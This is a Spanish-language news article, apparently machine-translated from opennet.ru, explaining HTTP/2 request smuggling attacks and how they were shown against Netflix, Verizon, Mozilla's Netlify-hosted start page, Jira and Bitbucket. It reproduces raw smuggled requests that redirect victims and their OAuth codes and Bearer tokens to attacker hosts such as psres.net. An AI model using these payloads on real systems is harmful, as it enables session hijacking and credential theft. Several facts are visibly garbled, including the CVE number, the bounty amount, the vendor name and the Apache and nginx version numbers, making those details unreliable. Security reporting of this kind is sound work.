Los sistemas web en los que el frontend acepta conexiones a través de HTTP/2 y transmite al backend a través de HTTP/1.1 han sido expuestos a una nueva variante del ataque HTTP Request Smuggling, que permite, mediante el envío de solicitudes de clientes especialmente diseñadas, infiltrarse en el contenido. de solicitudes de otros usuarios procesadas en el mismo flujo entre frontend y backend. El ataque se puede utilizar para insertar código JavaScript malicioso en una sesión con un sitio legítimo, eludir los sistemas de control de acceso e interceptar los parámetros de autenticación.
El problema afecta a los proxies web, los balanceadores de carga, los aceleradores web, los sistemas de entrega de contenido y otras configuraciones en las que las solicitudes se redirigen según el esquema front-end-backend. El autor del estudio demostró la capacidad de atacar sistemas en Netflix, Verizon, Bitbucket, Netlify CDN y Atlassian, y recibió $56 5 en programas de recompensas por vulnerabilidades. El problema también se ha confirmado en los productos de F2021 Networks. El problema afecta parcialmente a mod_proxy en el servidor Apache http (CVE-33193-2.4.49), se espera una solución en la versión 3 (los desarrolladores fueron notificados del problema a principios de mayo y recibieron 1.21.1 meses para solucionarlo). En nginx, la capacidad de especificar los encabezados "Content-Length" y "Transfer-Encoding" al mismo tiempo se bloqueó en la última versión (XNUMX). Las herramientas de ataque ya se han agregado al kit de herramientas Burp y están disponibles como una extensión de Turbo Intruder.
El principio de funcionamiento del nuevo método de introducir solicitudes en el tráfico es similar a la vulnerabilidad identificada por el mismo investigador hace dos años, pero limitada a interfaces que aceptan solicitudes a través de HTTP/1.1. Recuerde que en el esquema frontend-backend, las solicitudes de los clientes son recibidas por un nodo adicional: el frontend, que establece una conexión TCP de larga duración con el backend que procesa directamente las solicitudes. A través de esta conexión común se suelen transmitir peticiones de distintos usuarios, que siguen la cadena una tras otra, separados mediante el protocolo HTTP.
El clásico ataque de “contrabando de solicitudes HTTP” se basaba en el hecho de que los frontends y backends interpretan el uso de los encabezados HTTP “Content-Length” (determina el tamaño total de los datos en la solicitud) y “Transfer-Encoding: chunked” ( permite transferir datos en partes) de manera diferente. Por ejemplo, si la interfaz solo admite "Content-Length" pero ignora "Transfer-Encoding: chunked", entonces un atacante podría enviar una solicitud que contenga los encabezados "Content-Length" y "Transfer-Encoding: chunked", pero el tamaño es "Content-Length" no coincide con el tamaño de la cadena fragmentada. En este caso, el frontend procesará y redirigirá la solicitud de acuerdo con la "Longitud del contenido", y el backend esperará a que se complete el bloque en función de la "Codificación de transferencia: fragmentada" y la cola restante de la solicitud del atacante será al comienzo de la solicitud extranjera transmitida a continuación.
A diferencia del protocolo de texto HTTP/1.1, que se analiza a nivel de línea, HTTP/2 es un protocolo binario y manipula bloques de datos de un tamaño predeterminado. Sin embargo, HTTP/2 usa pseudo-encabezados que corresponden a encabezados HTTP normales. Al interactuar con el backend a través de HTTP/1.1, el frontend traduce estos pseudoencabezados en encabezados HTTP HTTP/1.1 similares. El problema es que el backend toma decisiones sobre el análisis de la transmisión en función de los encabezados HTTP establecidos por el frontend, sin conocer los parámetros de la solicitud original.
Incluso en forma de pseudoencabezados, los valores "longitud del contenido" y "codificación de transferencia" se pueden transmitir, a pesar de que no se usan en HTTP / 2, ya que el tamaño de todos los datos se determina en un campo separado. Sin embargo, en el proceso de convertir una solicitud HTTP/2 a HTTP/1.1, estos encabezados se transfieren y pueden confundir al backend. Hay dos opciones principales de ataque: H2.TE y H2.CL, en las que el backend es engañado por un valor incorrecto de codificación de transferencia o longitud del contenido que no corresponde al tamaño real del cuerpo de la solicitud recibido por el frontend a través del Protocolo HTTP/2.
Como ejemplo de un ataque H2.CL, el pseudoencabezado de longitud de contenido tiene un formato incorrecto al enviar una solicitud HTTP/2 a Netflix. Esta solicitud da como resultado la adición de un encabezado HTTP Content-Length similar al acceder al backend a través de HTTP/1.1, pero dado que el tamaño en Content-Length es menor que el tamaño real, algunos de los datos en la cola se procesan como el comienzo de la siguiente solicitud.
Por ejemplo, una solicitud HTTP/2 :método POST :ruta /n :autoridad www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Enviará una solicitud al backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dado que Content-Length se establece en 4, el backend aceptará solo "abcd" como el cuerpo de la solicitud y procesará el resto de "GET /n HTTP/1.1..." como el comienzo de la próxima solicitud vinculada a otro usuario. En consecuencia, la transmisión no estará sincronizada y, en respuesta a la siguiente solicitud, se devolverá el resultado del procesamiento de la solicitud falsa. En el caso de Netflix, especificar un host de terceros en el encabezado "Host:" en una solicitud falsificada resultó en la respuesta "Ubicación: https://02.rs?x.netflix.com/n" al cliente y permitió que se pasara contenido arbitrario al cliente, incluida la ejecución de su código JavaScript en el contexto del sitio de Netflix.
La segunda variante del ataque (H2.TE) está asociada a la sustitución del encabezado "Transfer-Encoding: chunked". El uso del pseudoencabezado de codificación de transferencia en HTTP/2 está prohibido por la especificación y se prescribe que las solicitudes con él se traten como incorrectas. A pesar de esto, algunas implementaciones de frontend ignoran este requisito y permiten el uso del pseudoencabezado de codificación de transferencia en HTTP/2, que se traduce en un encabezado HTTP similar. Si el encabezado "Codificación de transferencia" está presente, el backend puede tomarlo como una prioridad y analizar los datos en partes en el modo "fragmentado" usando bloques de diferentes tamaños en el formato "{tamaño}\r\n{bloque} \r\n{tamaño} \r\n{bloque}\r\n0" a pesar de la división inicial por el tamaño total.
La presencia de tal brecha fue demostrada por el ejemplo de Verizon. Sin embargo, el problema se relacionaba con el portal de autenticación y el sistema de administración de contenido, que también utilizan sitios como Huffington Post y Engadget. Por ejemplo, una solicitud de cliente a través de HTTP/2: :método POST :ruta /identificar/XUI :autoridad id.b2b.oath.com codificación de transferencia fragmentada 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Solicitó HTTP/1.1 al backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=
El backend, a su vez, ignoró el encabezado "Content-Length" e hizo la división en la transmisión en función de "Transfer-Encoding: chunked". En la práctica, el ataque permitió redirigir las solicitudes de los usuarios a su sitio, incluida la interceptación de solicitudes relacionadas con la autenticación OAuth, cuyos parámetros aparecían en el encabezado Referer, además de simular una sesión de autenticación e iniciar el envío de credenciales de usuario al anfitrión del atacante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Autorización: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Para atacar las implementaciones de HTTP/2 que no permiten especificar el pseudoencabezado de codificación de transferencia, se ha propuesto otro método que consiste en sustituir el encabezado "Transfer-Encoding" anexándolo a otros pseudoencabezados separados por un carácter de nueva línea (cuando se convierte a HTTP/1.1 en este caso, se crean dos encabezados HTTP separados).
Por ejemplo, Atlassian Jira y Netlify CDN (utilizados para mostrar la página de inicio de Mozilla en Firefox) se vieron afectados por este problema. Específicamente, la solicitud HTTP/2 :método POST :ruta / :autoridad start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Contenido-Longitud: 5\r\n \r\nx=
provocó que se enviara una solicitud HTTP/1.1 POST / HTTP/1.1 al backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Longitud: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Longitud del contenido: 5\r\n \ r\nx=
Otra opción para sustituir el encabezado "Codificación de transferencia" era adjuntarlo al nombre de otro pseudo-encabezado oa una cadena con un método de solicitud. Por ejemplo, al acceder a Atlassian Jira, el nombre del pseudoencabezado "foo: bar\r\ntransfer-encoding" con el valor "chunked" resultó en la adición de los encabezados HTTP "foo: bar" y "transfer-encoding : fragmentado", y especificando en el pseudoencabezado ":método" del valor "GET / HTTP/1.1\r\nTransfer-encoding: chunked" se tradujo a "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
El investigador que identificó el problema también propuso una técnica de tunelización de solicitudes para atacar los frontends, en la que se establece una conexión separada con el backend para cada dirección IP y no se mezcla el tráfico de diferentes usuarios. La técnica propuesta no le permite intervenir en las solicitudes de otros usuarios, pero permite envenenar el caché compartido, lo que afecta el procesamiento de otras solicitudes, y le permite realizar la sustitución de encabezados HTTP internos utilizados para transferir información de servicio de el frontend al backend (por ejemplo, al autenticarse en el frontend en dichos encabezados puede enviar información sobre el usuario actual al backend). Como ejemplo de la aplicación del método en la práctica, utilizando el envenenamiento de caché, fue posible obtener el control de las páginas en el servicio de Bitbucket.
Fuente: opennet.ru